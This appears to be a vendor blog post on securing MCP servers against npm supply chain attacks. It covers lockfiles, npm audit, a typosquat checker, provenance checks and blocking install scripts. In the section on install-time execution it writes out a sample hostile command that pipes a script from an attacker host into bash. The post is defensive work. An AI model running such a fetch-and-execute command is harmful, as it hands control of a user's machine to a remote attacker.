Supply Chain Security · June 2026 · 14 min read

MCP Server Supply Chain Security: npm Lockfile Integrity, Typosquatting Detection, and Provenance Attestation

The most dangerous vulnerability in an MCP server is often not in the code you wrote — it's in the code you installed. A compromised @anthropic-ai/mcp-sdk lookalike, a dependency with a malicious postinstall script, or a legitimate package with a supply-chain compromise delivers arbitrary code execution inside your server process on install. This post covers the full npm supply chain attack surface for MCP servers and a layered defense: lockfile integrity, vulnerability scanning, typosquatting detection, provenance attestation, and install-time script blocking.

Why MCP servers are high-value supply chain targets

MCP servers run with the same OS-level privileges as the process that spawned them, which is often a Claude Code session running as the logged-in user. A compromised MCP server can read files, make network requests, execute shell commands, and access every secret in the environment — the same capabilities that make MCP servers powerful for legitimate use are exactly what an attacker wants after a supply chain compromise.

The attack surface has four layers:

Typosquatting

Packages with names one character off from legitimate packages: @anthropic-a1/sdk, mcpsdk (no dash), @anthropic-ai/mcp-sdl. Published to the public registry, waiting for a fat-finger install.

Dependency confusion

Internal packages published to the public registry with a higher version number than the private registry version. npm's resolution algorithm picks the higher version — from the attacker, not your org.

Malicious postinstall scripts

Legitimate packages can run arbitrary shell commands in preinstall, postinstall, and prepare scripts. A compromised dependency runs a reverse shell or exfiltrates your environment on npm install.

Account takeover of a dependency maintainer

An attacker compromises the npm account of a popular package's maintainer, publishes a malicious patch version. The package itself was legitimate; the new version isn't. SemVer's ^ ranges pick it up automatically on the next install.

The install-time execution window: npm script execution during install runs at the same privilege level as the developer's shell — or in CI, the service account running the build. For MCP servers installed via claude plugin install or run by a Claude Code extension, that's the logged-in user's full filesystem access. A malicious postinstall script that runs curl attacker.com/steal.sh | bash fires before you've loaded a single line of your own code.

Layer 1: Use npm ci, never npm install, in CI and production builds

npm install resolves the dependency tree from your package.json ranges each run, can update package-lock.json, and can install versions different from what you tested. npm ci is deterministic: it reads only the lockfile, refuses to run if the lockfile is out of sync with package.json, and deletes node_modules before installing. This means the exact package versions that pass your tests are the exact versions that reach production.

# In CI (GitHub Actions, Docker builds, etc.)
npm ci

# Verifies that package-lock.json is consistent with package.json
# Fails the build if they diverge instead of silently resolving
# Installs exactly the versions pinned in package-lock.json

The lockfile verification is the key guarantee: package-lock.json records the resolved version, the tarball URL, and an integrity hash (a SHA-512 of the tarball) for every package. When npm ci installs, it downloads each tarball and verifies the hash. If the hash doesn't match — because the registry served a different tarball for the same version — installation fails.

# Inspect the integrity hash in package-lock.json
cat package-lock.json | node -e "
  const lock = JSON.parse(require('fs').readFileSync('/dev/stdin','utf8'));
  const pkg = lock.packages['node_modules/@modelcontextprotocol/sdk'];
  console.log('version:', pkg.version);
  console.log('integrity:', pkg.integrity);
  console.log('resolved:', pkg.resolved);
"

# Expected output (values will differ for your version):
# version: 1.2.1
# integrity: sha512-abc123...
# resolved: https://registry.npmjs.org/@modelcontextprotocol/sdk/-/sdk-1.2.1.tgz

Commit your lockfile. A package-lock.json that isn't committed provides zero supply chain protection — every developer and CI run re-resolves from scratch. The lockfile must be committed, reviewed in PRs for unexpected version changes, and regenerated only intentionally (e.g., npm update followed by npm audit).

Layer 2: npm audit — catch known CVEs in your dependency tree

The npm registry maintains a vulnerability database. npm audit checks every package in your resolved dependency tree against it and returns severity-rated findings.

# Run audit — exits non-zero on any finding at or above moderate
npm audit

# Exit non-zero only for high/critical (common CI threshold)
npm audit --audit-level=high

# Machine-readable JSON for scripted handling
npm audit --json | jq '.vulnerabilities | to_entries[] | select(.value.severity == "critical") | .key'

# Fix automatically (only for semver-compatible upgrades)
npm audit fix

# Fix including breaking version bumps (review changes!)
npm audit fix --force

In a GitHub Actions workflow for an MCP server, gate every PR on npm audit:

# .github/workflows/security.yml
name: Supply chain audit
on: [push, pull_request]
jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: '20'
      - run: npm ci
      - run: npm audit --audit-level=high
        # Fails build on any HIGH or CRITICAL finding
      - name: Check for critical findings
        run: |
          CRITICAL=$(npm audit --json | jq '.metadata.vulnerabilities.critical // 0')
          if [ "$CRITICAL" -gt "0" ]; then
            echo "CRITICAL vulnerabilities found: $CRITICAL"
            npm audit --json | jq '.vulnerabilities | to_entries[] | select(.value.severity == "critical") | {name: .key, via: .value.via[0].title}'
            exit 1
          fi

Distinguish advisory severity from actual exploitability. npm audit reports transitive dependencies — a CRITICAL advisory in a package your CLI tool never calls at runtime may have zero actual risk. Use npm audit --json to read the fixAvailable field and the dependency path, then make a deliberate decision about each finding rather than blanket-suppressing everything.

Layer 3: Typosquatting detection with package name validation

Typosquatting attacks work because package names look visually similar. The defenses are (1) reviewing every direct dependency addition carefully, and (2) running automated similarity checks against your expected package list.

// typosquat-check.js — run before any new npm install
// Checks that installed package names match a curated allowlist
// and reports any package name within edit-distance 2 of a trusted name

import { execSync } from 'child_process';
import { createRequire } from 'module';

const TRUSTED_PREFIXES = [
  '@modelcontextprotocol/',
  '@anthropic-ai/',
  'zod',
  'express',
  'fastify',
  '@types/',
];

// Simple Levenshtein distance for name similarity
function editDistance(a, b) {
  const dp = Array.from({ length: a.length + 1 }, (_, i) =>
    Array.from({ length: b.length + 1 }, (_, j) => i === 0 ? j : j === 0 ? i : 0)
  );
  for (let i = 1; i <= a.length; i++) {
    for (let j = 1; j <= b.length; j++) {
      dp[i][j] = a[i-1] === b[j-1]
        ? dp[i-1][j-1]
        : 1 + Math.min(dp[i-1][j], dp[i][j-1], dp[i-1][j-1]);
    }
  }
  return dp[a.length][b.length];
}

// Get installed packages
const lock = JSON.parse(execSync('cat package-lock.json').toString());
const installed = Object.keys(lock.packages)
  .filter(k => k.startsWith('node_modules/') && !k.includes('node_modules/', 13))
  .map(k => k.replace('node_modules/', ''));

// Check each installed package against trusted list
const KNOWN_LEGITIMATE = new Set([
  '@modelcontextprotocol/sdk', '@anthropic-ai/sdk', 'zod', 'express',
  'fastify', 'better-sqlite3', 'jsonwebtoken', 'node-fetch',
  // Add your complete expected dependency list here
]);

for (const pkg of installed) {
  if (!KNOWN_LEGITIMATE.has(pkg)) {
    console.warn(`UNKNOWN PACKAGE: ${pkg} — verify this is intentional`);
    // Check similarity to trusted packages
    for (const trusted of KNOWN_LEGITIMATE) {
      if (editDistance(pkg, trusted) <= 2) {
        console.error(`TYPOSQUAT RISK: ${pkg} is within edit-distance 2 of trusted package ${trusted}`);
        process.exit(1);
      }
    }
  }
}

This is a starting point — for production MCP servers, also check for:

Layer 4: Provenance attestation — verify who built the package

npm's provenance feature (available since npm 9.5) links a published package to the specific GitHub Actions workflow that built it. A package published with provenance includes a signed attestation: this tarball was produced by this repository at this commit by this workflow.

# Check if a package has provenance attestation
npm audit signatures @modelcontextprotocol/sdk

# Verify provenance of every package in your tree
npm audit signatures

# Expected output for a package with provenance:
# audited 1 package in 0.5s
# 1 package has a verified registry signature
# 1 package has a verified attestation
# In your CI pipeline — fail if any production package lacks signature verification
npm audit signatures --json | node -e "
  const result = JSON.parse(require('fs').readFileSync('/dev/stdin', 'utf8'));
  const missing = result.audit?.missing ?? [];
  if (missing.length > 0) {
    console.error('Packages without verified signatures:', missing.join(', '));
    process.exit(1);
  }
  console.log('All packages have verified signatures.');
"

When publishing your own MCP server to npm, enable provenance to give your users the same guarantee:

# package.json — configure for provenance publishing
{
  "name": "@your-org/mcp-server-example",
  "publishConfig": {
    "provenance": true,
    "access": "public"
  }
}

# GitHub Actions publish workflow — provenance requires OIDC token
# .github/workflows/publish.yml
name: Publish to npm
on:
  release:
    types: [published]
jobs:
  publish:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      id-token: write  # required for provenance
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: '20'
          registry-url: 'https://registry.npmjs.org'
      - run: npm ci
      - run: npm test
      - run: npm publish --provenance
        env:
          NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}

Provenance only covers the publisher's claim. A package with provenance confirms that the published tarball matches what was built by the named GitHub repository and workflow. It doesn't confirm the repository code is safe — only that the tarball wasn't modified after publication. Combine provenance with code review and npm audit for defense-in-depth.

Layer 5: Block install-time script execution

The most aggressive supply chain attacks execute during npm install via preinstall, postinstall, and prepare lifecycle scripts. If none of your legitimate dependencies need install scripts, you can disable them entirely.

# .npmrc — disable script execution during install
# Place in your project root (or ~/.npmrc for global effect)
ignore-scripts=true

# Now npm ci / npm install will NOT run any lifecycle scripts
# Packages that need build steps (native addons, TypeScript compile) will fail
# Check which of your deps need scripts:
npm install --ignore-scripts 2>&1 | grep -i "warn.*scripts"

Most pure-JavaScript MCP server dependencies don't need install scripts. Native addons (better-sqlite3, bcrypt) do need them for compilation. For those, use a curated allowlist:

# .npmrc — safer alternative: allowlist specific packages that need scripts
# (not yet a first-class npm feature — use a preinstall check script instead)

# package.json — custom preinstall guard
{
  "scripts": {
    "preinstall": "node scripts/verify-install-scripts.js"
  }
}

// scripts/verify-install-scripts.js
// Reads all installed packages and flags any that declare install scripts
// unless they're on the allowlist

import { readFileSync, readdirSync, existsSync } from 'fs';

const ALLOWED_SCRIPT_PACKAGES = new Set([
  'better-sqlite3',    // native addon — compilation required
  'node-gyp',         // build tool
  'esbuild',          // platform-specific binary download
  // Add others explicitly after review
]);

const nodeModules = 'node_modules';
if (!existsSync(nodeModules)) process.exit(0);

for (const pkg of readdirSync(nodeModules)) {
  const pkgJsonPath = `${nodeModules}/${pkg}/package.json`;
  if (!existsSync(pkgJsonPath)) continue;
  const pkgJson = JSON.parse(readFileSync(pkgJsonPath, 'utf8'));
  const scripts = pkgJson.scripts ?? {};
  const hasInstallScript = ['preinstall','install','postinstall','prepare'].some(k => k in scripts);
  if (hasInstallScript && !ALLOWED_SCRIPT_PACKAGES.has(pkg)) {
    console.error(`UNEXPECTED INSTALL SCRIPT in ${pkg}:`, JSON.stringify(scripts));
    process.exit(1);
  }
}

Layer 6: Dependency pinning vs range flexibility

The default package.json format uses caret ranges (^1.2.3) which allow any non-breaking update. This is convenient but means a newly published 1.2.4 with a supply chain compromise is automatically used on the next install in a fresh environment without a lockfile.

Range specifierAllowsSupply chain risk
^1.2.3Any 1.x.y ≥ 1.2.3High — picks up malicious minor/patch automatically
~1.2.3Any 1.2.y ≥ 1.2.3Medium — picks up malicious patches automatically
1.2.3Exactly 1.2.3Low — but blocks security patches too
1.2.3 + lockfileExactly 1.2.3, hash-verifiedLowest — lockfile integrity check prevents hash mismatch

The practical recommendation for MCP servers: use caret ranges in package.json (for dependency compatibility), commit the lockfile (for deterministic installs), run npm ci in CI (for hash verification), and update dependencies deliberately on a schedule (monthly, with npm audit before and after).

# Planned dependency update workflow
# 1. Check what's outdated
npm outdated

# 2. Update one package at a time, not all at once
npm update zod

# 3. Run tests
npm test

# 4. Audit the new versions
npm audit

# 5. Review the lockfile diff in git before committing
git diff package-lock.json | grep '^\+.*"integrity"' | head -20

What SkillAudit checks for in supply chain review

When SkillAudit scans an MCP server's repository, the supply chain audit axis checks for:

CRITICAL −20 No package-lock.json committed — dependency resolution is non-deterministic and integrity-unchecked on every install.
CRITICAL −18 Active CVEs at HIGH or CRITICAL severity in the dependency tree per npm audit, with no documented mitigation.
HIGH −16 CI pipeline uses npm install instead of npm ci — lockfile integrity is never verified in the build.
HIGH −14 Packages detected with names within edit-distance 2 of known legitimate MCP/Anthropic packages — potential typosquat risk.
HIGH −12 Install-time scripts (postinstall) present in transitive dependencies outside the expected native-addon set.
MEDIUM −10 No npm audit step in CI — vulnerability findings accumulate undetected between releases.
MEDIUM −8 Direct dependencies use unbounded version ranges (* or >=0) — any future version, including malicious ones, satisfies the range.

Quick audit checklist

Run SkillAudit on your MCP server's GitHub URL to get an automated supply chain review as part of the full security audit. The scan checks lockfile presence, CVE density, install scripts, and dependency name similarity in a single pass.

Related posts